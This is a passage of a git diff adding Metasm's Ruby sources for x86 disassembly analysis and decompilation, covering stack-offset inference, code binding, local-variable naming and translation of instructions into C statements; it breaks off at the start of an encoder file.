C::Function + new_bt[p, nil] + df.backtracked_for.last.detached = true + elsif pt.kind_of? C::Struct + new_bt[p, al] + else + new_bt[p, cp.sizeof(nil, pt)] + end + end + } + + df + end + + # the lambda for the :default backtrace_binding callback of the disassembler + # tries to determine the stack offset of unprototyped functions + # working: + # checks that origin is a ret, that expr is an indirection from esp and that expr.origin is the ret + # bt_walk from calladdr until we finds a call into us, and assumes it is the current function start + # TODO handle foo: call bar ; bar: pop eax ; call ; ret -> bar is not the function start (foo is) + # then backtrace expr from calladdr to funcstart (snapshot), using esp -> esp+ + # from the result, compute stackoffvariable (only if trivial) + # will not work if the current function calls any other unknown function (unless all are __cdecl) + # will not work if the current function is framed (ebp leave ret): in this case the function will return, but its esp will be unknown + # if the stack offset is found and funcaddr is a string, fixup the static binding and remove the dynamic binding + # TODO dynamise thunks bt_for & bt_cb + def disassembler_default_btbind_callback + esp = register_symbols[4] + + lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| + @dasm_func_default_off ||= {} + if off = @dasm_func_default_off[[dasm, calladdr]] + bind = bind.merge(esp => Expression[esp, :+, off]) + break bind + end + break bind if not odi = dasm.decoded[origin] or odi.opcode.basename != 'ret' + expr = expr.reduce_rec if expr.kind_of? Expression + break bind unless expr.kind_of? Indirection and expr.origin == origin + break bind unless expr.externals.reject { |e| e =~ /^autostackoffset_/ } == [esp] + + curfunc = dasm.function[funcaddr] + if curfunc.backtrace_binding and tk = curfunc.backtrace_binding[:thunk] and dasm.function[tk] + curfunc = dasm.function[tk] + end + + # scan from calladdr for the probable parent function start + func_start = nil + dasm.backtrace_walk(true, calladdr, false, false, nil, maxdepth) { |ev, foo, h| + if ev == :up and h[:sfret] != :subfuncret and di = dasm.decoded[h[:to]] and di.opcode.basename == 'call' + func_start = h[:from] + break + elsif ev == :end + # entrypoints are functions too + func_start = h[:addr] + break + end + } + break bind if not func_start + puts "automagic #{Expression[funcaddr]}: found func start for #{dasm.decoded[origin]} at #{Expression[func_start]}" if dasm.debug_backtrace + s_off = "autostackoffset_#{Expression[funcaddr]}_#{Expression[calladdr]}" + list = dasm.backtrace(expr.bind(esp => Expression[esp, :+, s_off]), calladdr, :include_start => true, :snapshot_addr => func_start, :maxdepth => maxdepth, :origin => origin) + # check if this backtrace made us find our binding + if off = @dasm_func_default_off[[dasm, calladdr]] + bind = bind.merge(esp => Expression[esp, :+, off]) + break bind + elsif not curfunc.btbind_callback + break curfunc.backtrace_binding + end + e_expr = list.find { |e_expr_| + # TODO cleanup this + e_expr_ = Expression[e_expr_].reduce_rec + next if not e_expr_.kind_of? Indirection + off = Expression[[esp, :+, s_off], :-, e_expr_.target].reduce + off.kind_of? Integer and off >= @size/8 and off < 10*@size/8 and (off % (@size/8)) == 0 + } || list.first + + e_expr = e_expr.rexpr if e_expr.kind_of? Expression and e_expr.op == :+ and not e_expr.lexpr + break bind unless e_expr.kind_of? Indirection + + off = Expression[[esp, :+, s_off], :-, e_expr.target].reduce + if off.kind_of? Expression + bd = off.externals.grep(/^autostackoffset_/).inject({}) { |bd_, xt| bd_.update xt => @size/8 } + bd.delete s_off + if off.bind(bd).reduce == @size/8 + # all __cdecl + off = @size/8 + else + # check if all calls are to the same extern func + bd.delete_if { |k, v| k !~ /^autostackoffset_#{Expression[funcaddr]}_/ } + bd.each_key { |k| bd[k] = 0 } + if off.bind(bd).reduce.kind_of? Integer + off = off.bind(bd).reduce / (bd.length + 1) + end + end + end + if off.kind_of? Integer + if off < @size/8 or off > 20*@size/8 or (off % (@size/8)) != 0 + puts "autostackoffset: ignoring off #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE + off = :unknown + end + end + + bind = bind.merge esp => Expression[esp, :+, off] if off != :unknown + if funcaddr != :default + if not off.kind_of? ::Integer + #XXX we allow the current function to return, so we should handle the func backtracking its esp + #(and other register that are saved and restored in epilog) + puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace + else + puts "autostackoffset: found #{off} for #{Expression[funcaddr]} from #{dasm.decoded[calladdr]}" if $VERBOSE + curfunc.btbind_callback = nil + curfunc.backtrace_binding = bind + + # rebacktrace the return address, so that other unknown funcs that depend on us are solved + dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) + end + else + if off.kind_of? ::Integer and dasm.decoded[calladdr] + puts "autostackoffset: found #{off-@size/8} for #{dasm.decoded[calladdr]}" if $VERBOSE + di = dasm.decoded[calladdr] + di.comment.delete_if { |c| c =~ /^stackoff=/ } if di.comment + di.add_comment "stackoff=#{off-@size/8}" + @dasm_func_default_off[[dasm, calladdr]] = off + + dasm.backtrace(Indirection[esp, @size/8, origin], origin, :origin => origin) + elsif cachedoff = @dasm_func_default_off[[dasm, calladdr]] + bind[esp] = Expression[esp, :+, cachedoff] + elsif off.kind_of? ::Integer + dasm.decoded[calladdr].add_comment "stackoff=#{off-@size/8}" + end + + puts "stackoff #{dasm.decoded[calladdr]} | #{Expression[func_start]} | #{expr} | #{e_expr} | #{off}" if dasm.debug_backtrace + end + + bind + } + end + + # the :default backtracked_for callback + # returns empty unless funcaddr is not default or calladdr is a call or a jmp + def disassembler_default_btfor_callback + lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default; btfor + elsif di = dasm.decoded[calladdr] and (di.opcode.name == 'call' or di.opcode.name == 'jmp'); btfor + else [] + end + } + end + + # returns a DecodedFunction suitable for :default + # uses disassembler_default_bt{for/bind}_callback + def disassembler_default_func + esp = register_symbols[4] + cp = new_cparser + cp.parse 'void stdfunc(void);' + f = decode_c_function_prototype(cp, 'stdfunc', :default) + f.backtrace_binding[esp] = Expression[esp, :+, :unknown] + f.btbind_callback = disassembler_default_btbind_callback + f.btfor_callback = disassembler_default_btfor_callback + f + end + + # returns a hash { :retval => r, :changed => [] } + def abi_funcall + { :retval => register_symbols[0], :changed => register_symbols[0, 3] } + end + + + # computes the binding of the sequence of code starting at entry included + # the binding is a hash showing the value of modified elements at the + # end of the code sequence, relative to their value at entry + # the elements are all the registers and the memory written to + # if finish is nil, the binding will include :ip, which is the address + # to be executed next (if it exists) + # the binding will not include memory access from subfunctions + # entry should be an entrypoint of the disassembler if finish is nil + # the code sequence must have only one end, with no to_normal + def code_binding(dasm, entry, finish=nil) + entry = dasm.normalize(entry) + finish = dasm.normalize(finish) if finish + lastdi = nil + binding = {} + bt = lambda { |from, expr, inc_start| + ret = dasm.backtrace(Expression[expr], from, :snapshot_addr => entry, :include_start => inc_start) + ret.length == 1 ? ret.first : Expression::Unknown + } + + # walk blocks, search for finish, scan memory writes + todo = [entry] + done = [Expression::Unknown] + while addr = todo.pop + addr = dasm.normalize(addr) + next if done.include? addr or addr == finish or not dasm.decoded[addr].kind_of? DecodedInstruction + done << addr + b = dasm.decoded[addr].block + + next if b.list.find { |di| + a = di.address + if a == finish + lastdi = b.list[b.list.index(di) - 1] + true + else + # check writes from the instruction + get_xrefs_w(dasm, di).each { |waddr, len| + # we want the ptr expressed with reg values at entry + ptr = bt[a, waddr, false] + binding[Indirection[ptr, len, a]] = bt[a, Indirection[waddr, len, a], true] + } + false + end + } + + hasnext = false + b.each_to_samefunc(dasm) { |t| + hasnext = true + if t == finish + lastdi = b.list.last + else + todo << t + end + } + + # check end of sequence + if not hasnext + raise "two-ended code_binding #{lastdi} & #{b.list.last}" if lastdi + lastdi = b.list.last + if lastdi.opcode.props[:setip] + e = get_xrefs_x(dasm, lastdi) + raise 'bad code_binding ending' if e.to_a.length != 1 or not lastdi.opcode.props[:stopexec] + binding[:ip] = bt[lastdi.address, e.first, false] + elsif not lastdi.opcode.props[:stopexec] + binding[:ip] = lastdi.next_addr + end + end + end + binding.delete_if { |k, v| Expression[k] == Expression[v] } + + # add register binding + raise "no code_binding end" if not lastdi and not finish + register_symbols.each { |reg| + val = + if lastdi; bt[lastdi.address, reg, true] + else bt[finish, reg, false] + end + next if val == Expression[reg] + mask = 0xffff_ffff # dont use 1<<@size, because 16bit code may use e.g. edi (through opszoverride) + mask = 0xffff_ffff_ffff_ffff if @size == 64 + val = Expression[val, :&, mask].reduce + binding[reg] = Expression[val] + } + + binding + end + + # trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX + def name_local_vars(dasm, funcaddr) + esp = register_symbols[4] + func = dasm.function[funcaddr] + subs = [] + dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace| + next if r.to_s =~ /flag/ + if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars } + subs << [trace[esp], dasm.function[tf].localvars] + end + di.instruction.args.grep(ModRM).each { |mrm| + b = mrm.b || (mrm.i if mrm.s == 1) + # its a modrm => b is read, so ignore r/off (not yet applied), use trace only + stackoff = trace[b.symbolic] if b + next if not stackoff + imm = mrm.imm || Expression[0] + frameoff = imm + stackoff + if frameoff.kind_of?(::Integer) + # XXX register args ? non-ABI standard register args ? (eg optimized x64) + str = 'var_%X' % (-frameoff) + str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0 + str = func.get_localvar_stackoff(frameoff, di, str) if func + imm = imm.expr if imm.kind_of?(ExpressionString) + mrm.imm = ExpressionString.new(imm, str, :stackvar) + end + } + off = off.reduce if off.kind_of?(Expression) + next unless off.kind_of?(Integer) + off + } + # if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0 + if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] } + func.localvars.each { |varoff, varname| + subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact + if subargnames.uniq.length == 1 + varname.replace 'sub'+subargnames[0] + end + } + end + end +end +end diff --git a/lib/metasm/metasm/cpu/ia32/decompile.rb b/lib/metasm/metasm/cpu/ia32/decompile.rb new file mode 100644 index 0000000000..06035defd7 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/decompile.rb @@ -0,0 +1,564 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/main' + +module Metasm +class Ia32 + # temporarily setup dasm.address_binding so that backtracking + # stack-related offsets resolve in :frameptr (relative to func start) + def decompile_makestackvars(dasm, funcstart, blocks) + oldfuncbd = dasm.address_binding[funcstart] + dasm.address_binding[funcstart] = { :esp => :frameptr } # this would suffice, the rest here is just optimisation + + patched_binding = [funcstart] # list of addresses to cleanup later + ebp_frame = true + + # pretrace esp and ebp for each function block (cleared later) + # TODO with more than 1 unknown __stdcall ext func per path, esp -> unknown, which makes very ugly C (*esp-- = 12...); add heuristics ? + blocks.each { |block| + blockstart = block.address + if not dasm.address_binding[blockstart] + patched_binding << blockstart + dasm.address_binding[blockstart] = {} + foo = dasm.backtrace(:esp, blockstart, :snapshot_addr => funcstart) + if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or + (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) + dasm.address_binding[blockstart][:esp] = ee + end + if ebp_frame + foo = dasm.backtrace(:ebp, blockstart, :snapshot_addr => funcstart) + if foo.length == 1 and ee = foo.first and ee.kind_of? Expression and (ee == Expression[:frameptr] or + (ee.lexpr == :frameptr and ee.op == :+ and ee.rexpr.kind_of? ::Integer)) + dasm.address_binding[blockstart][:ebp] = ee + else + ebp_frame = false # func does not use ebp as frame ptr, no need to bt for later blocks + end + end + end + + yield block + } + + ensure + patched_binding.each { |a| dasm.address_binding.delete a } + dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd + end + + # list variable dependency for each block, remove useless writes + # returns { blockaddr => [list of vars that are needed by a following block] } + def decompile_func_finddeps(dcmp, blocks, func) + deps_r = {} ; deps_w = {} ; deps_to = {} + deps_subfunc = {} # things read/written by subfuncs + + # find read/writes by each block + blocks.each { |b, to| + deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to + deps_subfunc[b] = [] + + blk = dcmp.dasm.decoded[b].block + blk.list.each { |di| + a = di.backtrace_binding.values + w = [] + di.backtrace_binding.keys.each { |k| + case k + when ::Symbol; w |= [k] + else a |= Expression[k].externals # if dword [eax] <- 42, eax is read + end + } + a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI + + deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] + deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] + } + stackoff = nil + blk.each_to_normal { |t| + t = dcmp.backtrace_target(t, blk.list.last.address) + next if not t = dcmp.c_parser.toplevel.symbol[t] + t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. + stackoff ||= Expression[dcmp.dasm.backtrace(:esp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :esp].reduce + + # things that are needed by the subfunction + if t.has_attribute('fastcall') + a = t.type.args.to_a + dep = [:ecx, :edx] + dep.shift if not a[0] or a[0].has_attribute('unused') + dep.pop if not a[1] or a[1].has_attribute('unused') + deps_subfunc[b] |= dep + end + t.type.args.to_a.each { |arg| + if reg = arg.has_attribute('register') + deps_subfunc[b] |= [reg.to_sym] + end + } + } + if stackoff # last block instr == subfunction call + deps_r[b] |= deps_subfunc[b] - deps_w[b] + deps_w[b] |= [:eax, :ecx, :edx] # standard ABI + end + } + + + bt = blocks.transpose + roots = bt[0] - bt[1].flatten # XXX jmp 1stblock ? + + # find regs read and never written (must have been set by caller and are part of the func ABI) + uninitialized = lambda { |b, r, done| + if not deps_r[b] + elsif deps_r[b].include?(r) + blk = dcmp.dasm.decoded[b].block + bw = [] + rdi = blk.list.find { |di| + a = di.backtrace_binding.values + w = [] + di.backtrace_binding.keys.each { |k| + case k + when ::Symbol; w |= [k] + else a |= Expression[k].externals # if dword [eax] <- 42, eax is read + end + } + a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void) # standard ABI + + next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r + bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] + false + } + if r == :eax and (rdi || blk.list.last).opcode.name == 'ret' + func.type.type = C::BaseType.new(:void) + false + elsif rdi and rdi.backtrace_binding[r] + false # mov al, 42 ; ret -> don't regarg eax + else + true + end + elsif deps_w[b].include?(r) + else + done << b + (deps_to[b] - done).find { |tb| uninitialized[tb, r, done] } + end + } + + regargs = [] + register_symbols.each { |r| + if roots.find { |root| uninitialized[root, r, []] } + regargs << r + end + } + + # TODO honor user-defined prototype if available (eg no, really, eax is not read in this function returning al) + regargs.sort_by { |r| r.to_s }.each { |r| + a = C::Variable.new(r.to_s, C::BaseType.new(:int, :unsigned)) + a.add_attribute("register(#{r})") + func.type.args << a + } + + # remove writes from a block if no following block read the value + dw = {} + deps_w.each { |b, deps| + dw[b] = deps.reject { |dep| + ret = true + done = [] + todo = deps_to[b].dup + while a = todo.pop + next if done.include? a + done << a + if not deps_r[a] or deps_r[a].include? dep + ret = false + break + elsif not deps_w[a].include? dep + todo.concat deps_to[a] + end + end + ret + } + } + + dw + end + + def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) + scope = func.initializer + func.type.args.each { |a| scope.symbol[a.name] = a } + stmts = scope.statements + blocks_toclean = myblocks.dup + func_entry = myblocks.first[0] + until myblocks.empty? + b, to = myblocks.shift + if l = dcmp.dasm.get_label_at(b) + stmts << C::Label.new(l) + end + + # list of assignments [[dest reg, expr assigned]] + ops = [] + # reg binding (reg => value, values.externals = regs at block start) + binding = {} + # Expr => CExpr + ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } + # Expr => Expr.bind(binding) => CExpr + ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } + + # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) + commit = lambda { + deps[b].map { |k| + [k, ops.rindex(ops.reverse.find { |r, v| r == k })] + }.sort_by { |k, i| i.to_i }.each { |k, i| + next if not i or not binding[k] + e = k + final = [] + ops[0..i].reverse_each { |r, v| + final << r if not v + e = Expression[e].bind(r => v).reduce if not final.include? r + } + ops[i][1] = nil + binding.delete k + stmts << ce[k, :'=', e] if k != e + } + } + + # returns an array to use as funcall arguments + get_func_args = lambda { |di, f| + # XXX see remarks in #finddeps + bt = dcmp.dasm.backtrace(:esp, di.address, :snapshot_addr => func_entry, :include_start => true) + stackoff = Expression[[bt, :+, @size/8], :-, :esp].bind(:esp => :frameptr).reduce rescue nil + args_todo = f.type.args.to_a.dup + args = [] + if f.has_attribute('fastcall') # XXX DRY + if a = args_todo.shift + mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 + mask = 0 if a.has_attribute('unused') + args << Expression[:ecx, :&, mask] + end + if a = args_todo.shift + mask = (1 << (8*dcmp.c_parser.sizeof(a))) - 1 # char => dl + mask = 0 if a.has_attribute('unused') + args << Expression[:edx, :&, mask] + end + end + args_todo.each { |a_| + if r = a_.has_attribute_var('register') + args << Expression[r.to_sym] + elsif stackoff.kind_of? Integer + args << Indirection[[:frameptr, :+, stackoff], @size/8] + stackoff += [dcmp.sizeof(a_), @size/8].max + else + args << Expression[0] + end + } + + if f.type.varargs and f.type.args.last.type.pointer? and stackoff.kind_of? Integer + # check if last arg is a fmtstring + bt = dcmp.dasm.backtrace(args.last, di.address, :snapshot_addr => func_entry, :include_start => true) + if bt.length == 1 and s = dcmp.dasm.get_section_at(bt.first) + fmt = s[0].read(512) + fmt = fmt.unpack('v*').pack('C*') if dcmp.sizeof(f.type.args.last.type.untypedef.type) == 2 + if fmt.index(?\0) + fmt = fmt[0...fmt.index(?\0)] + fmt.gsub('%%', '').count('%').times { # XXX %.*s etc.. + args << Indirection[[:frameptr, :+, stackoff], @size/8] + stackoff += @size/8 + } + end + end + end + + args.map { |e| ceb[e] } + } + + # go ! + dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| + a = di.instruction.args + if di.opcode.props[:setip] and not di.opcode.props[:stopexec] + # conditional jump + commit[] + n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) + if di.opcode.name =~ /^loop(.+)?/ + cx = C::CExpression[:'--', ceb[:ecx]] + cc = $1 ? C::CExpression[cx, :'&&', ceb[decode_cc_to_expr($1)]] : cx + else + cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] + end + # XXX switch/indirect/multiple jmp + stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) + to.delete dcmp.dasm.normalize(n) + next + end + + if di.opcode.name == 'mov' + # mov cr0 etc + a1, a2 = di.instruction.args + case a1 + when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg + sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32 + if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] + dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});") + end + f = dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] + a2 = a2.symbolic(di) + a2 = [a2, :&, 0xffff] if sz == 16 + stmts << C::CExpression.new(f, :funcall, [ceb[a2]], f.type.type) + next + end + case a2 + when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg + if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] + sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32 + dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);") + end + f = dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] + t = f.type.type + binding.delete a1.symbolic(di) + stmts << C::CExpression.new(ce[a1.symbolic(di)], :'=', C::CExpression.new(f, :funcall, [], t), t) + next + end + end + + case di.opcode.name + when 'ret' + commit[] + ret = nil + ret = C::CExpression[ceb[:eax]] unless func.type.type.kind_of? C::BaseType and func.type.type.name == :void + stmts << C::Return.new(ret) + when 'call' # :saveip + n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) + args = [] + if f = dcmp.c_parser.toplevel.symbol[n] and f.type.kind_of? C::Function and f.type.args + args = get_func_args[di, f] + elsif defined? @dasm_func_default_off and o = @dasm_func_default_off[[dcmp.dasm, di.address]] and o.kind_of? Integer and o > @size/8 + f = C::Variable.new + f.type = C::Function.new(C::BaseType.new(:int), []) + ((o/(@size/8))-1).times { f.type.args << C::Variable.new(nil,C::BaseType.new(:int)) } + args = get_func_args[di, f] + end + commit[] + #next if not di.block.to_subfuncret + + if not n.kind_of? ::String or (f and not f.type.kind_of? C::Function) + # indirect funcall + fptr = ceb[n] + binding.delete n + proto = C::Function.new(C::BaseType.new(:int)) + proto = f.type if f and f.type.kind_of? C::Function + f = C::CExpression[[fptr], C::Pointer.new(proto)] + elsif not f + # internal functions are predeclared, so this one is extern + f = C::Variable.new + f.name = n + f.type = C::Function.new(C::BaseType.new(:int)) + if dcmp.recurse > 0 + dcmp.c_parser.toplevel.symbol[n] = f + dcmp.c_parser.toplevel.statements << C::Declaration.new(f) + end + end + commit[] + binding.delete :eax + e = C::CExpression[f, :funcall, args] + e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) + stmts << e + when 'jmp' + #if di.comment.to_a.include? 'switch' + # n = di.instruction.args.first.symbolic(di) + # fptr = ceb[n] + # binding.delete n + # commit[] + # sw = C::Switch.new(fptr, C::Block.new(scope)) + # di.block.to_normal.to_a.each { |addr| + # addr = dcmp.dasm.normalize addr + # to.delete addr + # next if not l = dcmp.dasm.get_label_at(addr) + # sw.body.statements << C::Goto.new(l) + # } + # stmts << sw + a = di.instruction.args.first + if a.kind_of? Expression + elsif not a.respond_to? :symbolic + stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) + else + n = di.instruction.args.first.symbolic(di) + fptr = ceb[n] + binding.delete n + commit[] + if fptr.kind_of? C::CExpression and fptr.type.pointer? and fptr.type.untypedef.type.kind_of? C::Function + proto = fptr.type.untypedef.type + args = get_func_args[di, fptr.type] + else + proto = C::Function.new(C::BaseType.new(:void)) + fptr = C::CExpression[[fptr], C::Pointer.new(proto)] + args = [] + end + ret = C::Return.new(C::CExpression[fptr, :funcall, args]) + class << ret ; attr_accessor :from_instr end + ret.from_instr = di + stmts << ret + to = [] + end + when 'lgdt' + if not dcmp.c_parser.toplevel.struct['segment_descriptor'] + dcmp.c_parser.parse('struct segment_descriptor { __int16 limit; __int16 base0_16; __int8 base16_24; __int8 flags1; __int8 flags2_limit_16_20; __int8 base24_32; };') + dcmp.c_parser.parse('struct segment_table { __int16 size; struct segment_descriptor *table; } __attribute__((pack(2)));') + end + if not dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'] + dcmp.c_parser.parse('void intrinsic_lgdt(struct segment_table *);') + end + # need a way to transform arg => :frameptr+12 + arg = di.backtrace_binding.keys.grep(Indirection).first.pointer + stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) + when 'lidt' + if not dcmp.c_parser.toplevel.struct['interrupt_descriptor'] + dcmp.c_parser.parse('struct interrupt_descriptor { __int16 offset0_16; __int16 segment; __int16 flags; __int16 offset16_32; };') + dcmp.c_parser.parse('struct interrupt_table { __int16 size; struct interrupt_descriptor *table; } __attribute__((pack(2)));') + end + if not dcmp.c_parser.toplevel.symbol['intrinsic_lidt'] + dcmp.c_parser.parse('void intrinsic_lidt(struct interrupt_table *);') + end + arg = di.backtrace_binding.keys.grep(Indirection).first.pointer + stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lidt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) + when 'ltr', 'lldt' + if not dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"] + dcmp.c_parser.parse("void intrinsic_#{di.opcode.name}(int);") + end + arg = di.backtrace_binding.keys.first + stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"], :funcall, [ceb[arg]], C::BaseType.new(:void)) + when 'out' + sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz + if not dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"] + dcmp.c_parser.parse("void intrinsic_out#{sz}(unsigned short port, __int#{sz} value);") + end + port = di.instruction.args.grep(Expression).first || :edx + stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"], :funcall, [ceb[port], ceb[:eax]], C::BaseType.new(:void)) + when 'in' + sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz + if not dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] + dcmp.c_parser.parse("__int#{sz} intrinsic_in#{sz}(unsigned short port);") + end + port = di.instruction.args.grep(Expression).first || :edx + f = dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] + binding.delete :eax + stmts << C::CExpression.new(ce[:eax], :'=', C::CExpression.new(f, :funcall, [ceb[port]], f.type.type), f.type.type) + when 'sti', 'cli' + stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) + when /^(mov|sto|lod)s([bwdq])/ + op, sz = $1, $2 + commit[] + sz = { 'b' => 1, 'w' => 2, 'd' => 4, 'q' => 8 }[sz] + pt = C::Pointer.new(C::BaseType.new("__int#{sz*8}".to_sym)) + + blk = C::Block.new(scope) + case op + when 'mov' + blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', [:*, [[ceb[:esi]], pt]]] + blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] + blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] + when 'sto' + blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', ceb[:eax]] + blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] + when 'lod' + blk.statements << C::CExpression[ceb[:eax], :'=', [:*, [[ceb[:esi]], pt]]] + blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] + #when 'sca' + #when 'cmp' + end + + case (di.instruction.prefix || {})[:rep] + when nil + stmts.concat blk.statements + when 'rep' + blk.statements << C::CExpression[ceb[:ecx], :'=', [ceb[:ecx], :-, [1]]] + stmts << C::While.new(C::CExpression[ceb[:ecx]], blk) + #when 'repz' # sca/cmp only + #when 'repnz' + end + next + else + bd = get_fwdemu_binding(di) + if di.backtrace_binding[:incomplete_binding] + commit[] + stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) + else + update = {} + bd.each { |k, v| + if k.kind_of? ::Symbol and not deps[b].include? k + ops << [k, v] + update[k] = Expression[Expression[v].bind(binding).reduce] + else + stmts << ceb[k, :'=', v] + stmts.pop if stmts.last.kind_of? C::Variable # [:eflag_s, :=, :unknown].reduce + end + } + binding.update update + end + end + } + commit[] + + case to.length + when 0 + if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname + puts " block #{Expression[b]} has no to and don't end in ret" + end + when 1 + if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) + stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) + end + else + puts " block #{Expression[b]} with multiple to" + end + end + + # cleanup di.bt_binding (we set :frameptr etc in those, this may confuse the dasm) + blocks_toclean.each { |b_, to_| + dcmp.dasm.decoded[b_].block.list.each { |di| + di.backtrace_binding = nil + } + } + end + + def decompile_check_abi(dcmp, entry, func) + a = func.type.args || [] + a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') } + ra = a.map { |arg| arg.has_attribute_var('register') }.compact + if (a.length == 1 and ra == ['ecx']) or (a.length >= 2 and ra.sort == ['ecx', 'edx']) + func.add_attribute 'fastcall' + # reorder args + ecx = a.find { |arg| arg.has_attribute_var('register') == 'ecx' } + edx = a.find { |arg| arg.has_attribute_var('register') == 'edx' } + a.insert(0, a.delete(ecx)) + a.insert(1, a.delete(edx)) if edx + end + + if not f = dcmp.dasm.function[entry] or not f.return_address + #func.add_attribute 'noreturn' + else + adj = f.return_address.map { |ra_| dcmp.dasm.backtrace(:esp, ra_, :include_start => true, :stopaddr => entry) }.flatten.uniq + if adj.length == 1 and so = Expression[adj.first, :-, :esp].reduce and so.kind_of? ::Integer + argsz = a.map { |fa| + next if not fa.stackoff + (fa.stackoff + [dcmp.sizeof(fa), dcmp.c_parser.typesize[:ptr]].max-1) / dcmp.c_parser.typesize[:ptr] + }.compact.max.to_i + so /= dcmp.dasm.cpu.size/8 + so -= 1 + if so > argsz + aso = a.empty? ? 0 : a.last.stackoff.to_i + dcmp.c_parser.typesize[:ptr] + (so-argsz).times { + a << C::Variable.new(dcmp.stackoff_to_varname(aso), C::BaseType.new(:int)) + a.last.add_attribute('unused') + aso += dcmp.sizeof(a.last) + } + argsz = so + end + case so + when 0 + when argsz + func.add_attribute 'stdcall' if not func.has_attribute('fastcall') + else + func.add_attribute "stackoff:#{so*dcmp.dasm.cpu.size/8}" + end + else + func.add_attribute "breakstack:#{adj.inspect}" + end + end + end +end +end diff --git a/lib/metasm/metasm/cpu/ia32/encode.rb b/lib/metasm/metasm/cpu/ia32/encode.rb new file mode 100644 index 0000000000..bda4feb6b9 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/encode.rb @@ -0,0 +1,320 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# 